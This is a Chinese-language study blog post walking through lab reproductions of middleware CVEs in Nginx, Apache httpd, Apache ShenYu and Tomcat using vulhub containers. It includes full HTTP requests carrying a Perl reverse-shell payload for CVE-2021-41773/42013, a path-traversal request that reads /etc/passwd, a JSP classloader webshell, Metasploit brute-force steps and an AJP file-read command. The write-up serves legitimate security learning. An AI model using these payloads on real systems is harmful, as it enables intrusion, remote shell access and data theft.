第59天-服务攻防-中间件安全&CVE 复现&IIS&Apache&Tomcat&Nginx


文章仅供学习交流,一些价值不高的漏洞没复现,日后来兴趣再补坑(大概~)

文章略长,阅读需耐心~


视频链接: 

【小迪安全】红蓝对抗 | 网络攻防 | V2022全栈培训_哔哩哔哩_bilibiliicon-default.png?t=N7T8https://www.bilibili.com/video/BV1pQ4y1s7kH

目录

一.知识点

二.章节内容

1、常见中间件的安全测试

2、中间件安全测试流程

三.案例演示

1、中间件-IIS-短文件&文件解析&蓝屏等

2、中间件-Nginx-文件解析&命令执行等

(1)文件后缀解析漏洞

(2)CVE-2013-4547  文件名逻辑漏洞

(3)CVE_2021_23017 DNS解析漏洞 (无exp)

(4)CVE_2017_7529 整数溢出漏洞 (价值不大)

3、中间件-Apache-RCE&目录遍历&文件解析等

 (1)CVE_2021_41773 目录穿越漏洞

(2)CVE_2021_42013  路径穿越漏洞

(3)CVE-2017-15715 文件解析

(4)CVE_2017_9798  信息泄露 (价值不高)

(5)CVE_2018_11759   mod_jk访问控制绕过漏洞(价值不高)

(6)CVE_2021_37580 身份验证绕过漏洞

4、中间件-Tomcat-弱口令&文件上传&文件包含等

(1)弱口令猜解

(2)CVE-2017-12615  文件上传漏洞

(3)CVE-2020-1938  文件包含漏洞

(4)CVE-2020-11996 拒绝服务漏洞 (意义不大)

(5)CVE-2020-9484 反序列化漏洞 (条件苛刻)

四.总结


相关资源下载:

链接:https://pan.baidu.com/s/1-9fEinVvFJd4_dPisHrMMQ 
提取码:sioq

一.知识点

中间件及框架列表:

IIS,Apache,Nginx,Tomcat,Docker,Weblogic,JBoos,WebSphere,Jenkins ,GlassFish,Jira,Struts2,Laravel,Solr,Shiro,Thinkphp,Spring,Flask,jQuery 等

本节课程涉及以下中间件案例演示:

1、中间件-IIS-短文件&解析&蓝屏等

2、中间件-Nginx-文件解析&命令执行等

3、中间件-Apache-RCE&目录遍历&文件解析等

4、中间件-Tomcat-弱口令&文件上传&文件包含等

二.章节内容

1、常见中间件的安全测试

(1)配置不当-解析&弱口令

(2)安全机制-特定安全漏洞

(3)安全机制-弱口令爆破攻击

(4)安全应用-框架特定安全漏洞

2、中间件安全测试流程

(1)判断中间件信息-名称&版本&三方

(2)判断中间件问题-配置不当&公开漏洞

(3)判断中间件利用-弱口令&EXP&框架漏洞

三.案例演示

1、中间件-IIS-短文件&文件解析&蓝屏等

IIS相关案例在day18和day33均有涉及,笔者这里先占个位,后面返回去学再补充~

        IIS简介:英文名称Internet Information Services(互联网信息服务),是Microsoft公司提供的可扩展Web服务器,支持HTTP,HTTP/2,HTTPS,FTP,FTPS,SMTP和NNTP等。 

(1)短文件名漏洞:信息收集

(2)文件解析:还有点用

(3)HTTP.SYS:蓝屏崩溃

(4)CVE-2017-7269 条件过老

2、中间件-Nginx-文件解析&命令执行等

(1)文件后缀解析漏洞

        简介:该漏洞与 Nginxphp 版本无关,属于用户配置不当造成的解析漏洞。在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php解析为php文件。

打开vulhub靶场,进入/nginx/nginx_parsing_vulnerability/目录下启动容器,访问url

cd /nginx/nginx_parsing_vulnerability/
docker-compose up -d

上传图片可以看到有返回图片路径

访问图片路径能正常显示

这里有两种方法,第一种上传自制的图片马,第二种直接用bp抓包然后写入一句话木马,这里用第一种。

上传,访问图片路径url可正常显示,在url后加/.php就能执行一句话木马。(注:这里若报错就换张图片或换个地方插入木马代码)

上蚁剑,直接梭哈,成功利用

(2)CVE-2013-4547  文件名逻辑漏洞

        简介:在Nginx特定版本中存在错误解析用户请求的url信息,从而导致文件代码执行。

        影响版本:Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7

vulhub打开/nginx/CVE-2013-4547/目录,docker-compose up -d启动容器,查看端口,可见容器的80端口映射到靶机的8080端口,访问http://192.168.190.153:8080

 开启bp抓包,修改gif文件内容为一句话木马,在filename="pikaqu.gif"的gif后面加个空格,可以成功上传gif文件

访问上传的gif文件,在Repeater模块对url进行get请求,send后出现一句话木马代码,因此得让这个文件以php形式解析出来

访问上传文件pikaqu.gif[0x20]时,将文件修改为phpinfoa.gif[0x20][0x00].php,其中[0x20]为空格,[0x00]为\0(字符串结束标志)

send后即可成功执行php代码

可自行尝试修改一句话木马,最后用蚁剑连接

这里会有一些疑点,为什么一开始gif后面要加空格?为什么后边0x20要改为0x00。笔者试过一开始不加空格,最后显示“No input file specified.”实践过程中,Nginx读取文件名有“\0”时会报错停止执行,如果在“\0”前面加空格,Nginx会跳过报错继续执行到“\0”(结束符)为止,这样Nginx读取到的文件名为pakaqu.gif[0x20],但是,由于最后加上了.php,所以通过正则表达式匹配.php后缀将pikaqu.gif[0x20][0x00].php整个交给PHP模块当成php文件解析。

(3)CVE_2021_23017 DNS解析漏洞 (无exp)

目前网上只有poc(验证是否存在漏洞)没有exp(利用漏洞),只能验证不能利用没啥可说的。

(4)CVE_2017_7529 整数溢出漏洞 (价值不大)

低危漏洞,且利用到最后仅能得到响应包相关信息泄露,意义不大。

3、中间件-Apache-RCE&目录遍历&文件解析等

 (1)CVE_2021_41773 目录穿越漏洞

        简介:Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中,引入了一个路径体验,满足下面两个条件的 Apache 服务器将受到影响:

  • 版本等于2.4.49
  • <Directory />Require all granted</Directory>(默认情况下允许被访问)

攻击者利用这个漏洞,可以读取到Apache服务器Web目录以外的其他文件,或者读取Web中的脚本源码,或者在开启cgi或cgid的服务器上执行任意命令。

        影响版本:Apache HTTP Server 2.4.49

打开vulhub靶场,进入/httpd/CVE-2021-41773/目录下启动容器,访问url

bp抓包,修改url后缀,访问可得到敏感信息

在kali上监听9999端口,bp修改请求包为POST请求,添加反弹shell命令

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.190.153:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close
echo;perl -e 'use Socket;$i="192.168.190.140";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹成功

修复建议:升级Apache HTTP Server到版本2.4.50。

由于修复不完善,后面又爆出CVE_2021_42013路径穿越漏洞。

(2)CVE_2021_42013  路径穿越漏洞

        简介:Apache HTTP Server 2.4.50 中针对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置“要求全部拒绝”的保护,则这些请求可能会成功。

        影响版本:Apache HTTP Server 2.4.49 / 2.4.50两个版本

打开vulhub靶场,进入/httpd/CVE-2021-42013/目录下启动容器,访问url

打开bp,抓包,修改GET请求,可以得到/etc/passwd文件内容

/icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1

尝试反弹shell,打开kali,监听9999端口

修改GET请求包为POST请求,在请求中加上反弹内容,反弹shell可以在棱角社区生成

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1
Host: 192.168.190.153:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-None-Match: "2d-432a5e4a73a80"
If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT
Connection: close
Content-Length: 229
echo;perl -e 'use Socket;$i="192.168.190.140";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

反弹成功

(3)CVE-2017-15715 文件解析

        简介:Apache HTTPD 是一款 HTTP 服务器。其 2.4.0~2.4.29 版本存在一个解析漏洞,在解析 PHP 时,虽然有对php、php3、php4、php5、phtml、pht文件后缀进行检查拦截,但像.php\x0A有特殊字符的不会被拦截,将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略。

        影响版本:Apache HTTPD 2.4.0~2.4.29

打开vulhub靶场,进入/httpd/CVE-2017-15715/目录下启动容器,访问url

上传一个图片马,然后用bp抓包

在自定义的文件名后加个空格,将其改为换行符"\n"(0x0A),点击Apply changes,放包,访问http://192.168.190.153:8080/evil.php%0A,即可成功执行文件马

蚁剑连接,成功进入

(4)CVE_2017_9798  信息泄露 (价值不高)

        简介:Apache HTTP Server是Apache软件基金会的一个开放源代码的网页服务器。Apache HTTP Server <= 2.2.34、2.4.x <= 2.4.27版本,若在用户.htaccess文件中设置Limit指令,或httpd.conf中有某些错误配置(即Optionsbleed),远程攻击者可读取进程内存敏感数据。

        影响版本:

        Apache Group HTTP Server <= 2.2.34

        Apache Group HTTP Server 2.4.x <= 2.4.27

这个漏洞泄露的内存数据并不大,而且利用价值不高,感兴趣可以自行在vulhub玩耍。

(5)CVE_2018_11759   mod_jk访问控制绕过漏洞(价值不高)

        简介:Apache Tomcat JK(mod_jk)Connector是美国阿帕奇(Apache)软件基金会的一款为Apache或IIS提供连接后台Tomcat的模块,用以为Apache或IIS服务器提供处JSP/Servlet的能力。

        影响版本:

        Apache Mod_jk Connector 1.2.0 ~ 1.2.44

该漏洞泄露的信息非常有限,只泄露一个界面的信息,价值有限。

(6)CVE_2021_37580 身份验证绕过漏洞

        简介:Apache ShenYu(incubatng) 是一款高性能、跨语言、多协议、可扩展、响应式的API网关。支持各种语言的http 协议,支持 Dubbo、 Spring Cloud等协议。在Apache ShenYu 2.3.0 和 2.4.0版本中该框架由于 JWT 认证的不正确使用,攻击者可以通过该漏洞绕过JWT(JSON Web Token)安全认证机制,直接进入系统后台。

        影响版本:Apache ShenYu 2.3.0 / 2.4.0

以下命令解释:拉取漏洞镜像,拉取后查看镜像信息,可以看到端口没映射,所以先停止镜像,CONTAINER ID为镜像ID,每个人不一样。再映射端口同时启动,就可以访问到http://your_ip:9095页面,管理员账号admin/123456

docker pull apache/shenyu-admin:2.4.0
docker ps
docker stop CONTAINER ID
docker run --rm -d -p 9095:9095 apache/shenyu-admin:2.4.0
docker ps -a

管理员登录,先在里面创建几个账号

退出,用新建的账号登录,因为没有设置权限所以是进不去的

使用bp抓这个页面的数据包,发送给Repeater模块

send后可以看到有jwt token生成

修改GET请求后缀为/dashboardUser,再次Send可以获取到所有用户信息(包括管理员)

4、中间件-Tomcat-弱口令&文件上传&文件包含等

(1)弱口令猜解

        简介:tomcat有一个管理后台,其用户名和密码在Tomcat安装目录下的conf\tomcat-users.xml文件中配置,一些管理员为了省事疏忽并没有修改成强口令。并且Tomcat支持在后台界面上传war文件,所以只要能爆破到弱口令,就能尝试上传木马。

        影响版本:弱口令并没有版本限制,以下为注意事项

        Tomcat <= 6.0.0 默认用户名为admin,密码为空,无暴力破解限制。
        Tomcat >= 6.0.0 无默认用户,五次失败后,账户即被锁定。

打开vulhub靶场,进入/tomcat/tomcat8/目录下启动容器,访问url

打开kali,利用msfconsole进行密码爆破

选用爆破模块,设置需要爆破的ip和端口,运行

use auxiliary/scanner/http/tomcat_mgr_login

set rhosts 192.168.190.153

set rport 8080        //可忽略,默认为8080

run

可看到成功爆破

返回url页面,点击Manager App进入登录页面,输入爆破的账号密码,进入后台

制作jsp一句话木马:将代码写入一个jsp文件中,然后直接压缩,再修改压缩文件为war格式

下滑到上传war文件的界面,上传制作的war,在上面看到/shell文件即为上传成功

蚁剑连接成功,打开虚拟终端,得到的权限为root,可见这个漏洞的危害性非常大

(2)CVE-2017-12615  文件上传漏洞

        简介:当存在漏洞的Tomcati运行在Windows/Linux主机上,且启用了HTTP PUT请求方法(例如,将readonly初始化参数由默认值设置为false),攻击者可通过精心构造的攻击请求数据包向服务器上传包含任意代码的JSP的webshell文件,JSP文件中的恶意代码将能被服务器执行,导致服务器上的数据泄露或获取服务器权限。

        影响版本:

        Apache Tomcat 7.0.0 - 7.0.81

打开vulhub靶场,进入/tomcat/CVE-2017-12615/目录下启动容器,访问url

用bp抓包,修改GET为PUT,写入文件名和文件内容,访文件可成功回显写入的内容

接下来写jsp一句话木马,访问文件页面为空白即为成功上传(文件不存在会报404错误)

//jsp一句话木马
<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("cmd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

打开蚁剑,连接成功,进入文件目录

(3)CVE-2020-1938  文件包含漏洞

        简介:Apache Tomcat AJP协议(默认8009端口)由于存在实现缺陷导致相关参数可控,攻击者 利用该漏洞可通过构造特定参数,读取服务器Wbpp目录下的任意文件。若服务器端同时存在文件上传功能,攻击者可进一步结合文件包含实现远程代码的执行。

        影响版本:

        Apache Tomcat 6

        Apache Tomcat 7 < 7.0.100

        Apache Tomcat 8 < 8.5.51

        Apache Tomcat 9 < 9.0.31

打开vulhub靶场,进入/tomcat/CVE-2020-1938/目录下启动容器,访问url

下载poc,CNVD-2020-10487-Tomcat-Ajp-lfi,运行python

python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.190.153 -p 8009 -f WEB-INF/web.xml

//注:python为2.7版本,-p表示端口,-f表示要找的文件名

用命令“docker exec 容器ID -it \bin\bash”进入容器,查看webapp/ROOT/WEB-INF/web.xml文件,可见和poc暴露的信息是一样的

退出容器命令:exit

(4)CVE-2020-11996 拒绝服务漏洞 (意义不大)

        简介:Tomcat http/2 拒绝服务攻击,通过恶意构造HTTP/2请求序列会在几秒钟内大量占用CPU使用率,如果在并发HTTP/2连接上发出足够数量的此类请求,服务器可能会变得无响应。

        影响版本:

        Apache Tomcat 10.0.0-M1~10.0.0-M5 / 9.0.0.M1~9.0.35 / 8.5.0~8.5.55

该漏洞与获取权限无关,单纯为破坏性漏洞,毕竟学习漏洞不是为了搞破坏,研究意义不大。

(5)CVE-2020-9484 反序列化漏洞 (条件苛刻)

简介:Apache Tomcat 是一个开放源代码、运行servlet和JSP Web应用软件的基于Java的Web应用软件容器。当Tomcat使用自带session同步功能时,使用不安全的配置(没有使用EncryptInterceptor)会存在反序列化漏洞,攻击者通过精心构造的数据包, 可以对使用了自带session同步功能的Tomcat服务器进行攻击。

影响版本:

Apache Tomcat 10.x < 10.0.0-M5 / 9.x < 9.0.35 / 8.x < 8.5.55 / 7.x < 7.0.104

此漏洞利用条件非常苛刻,研究意义不大,成功利用此漏洞需同时满足以下4个条件:

1.攻击者能够控制服务器上文件的内容和文件名称

2.服务器PersistenceManager配置中使用了FileStore

3.PersistenceManager中的sessionAttributeValueClassNameFilter被配置为“null”,或者过滤器不够严格,导致允许攻击者提供反序列化数据的对象

4.攻击者知道使用的FileStore存储位置到攻击者可控文件的相对路径

四.总结

        本次学习内容较多,都是平时接触比较多的中间件,在这里花费的时间会较多。对中间件漏洞测试一般还是探测端口——>判断中间件类型——>根据类型选择测试方向(特定漏洞or弱口令or未授权等)

  • 19
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值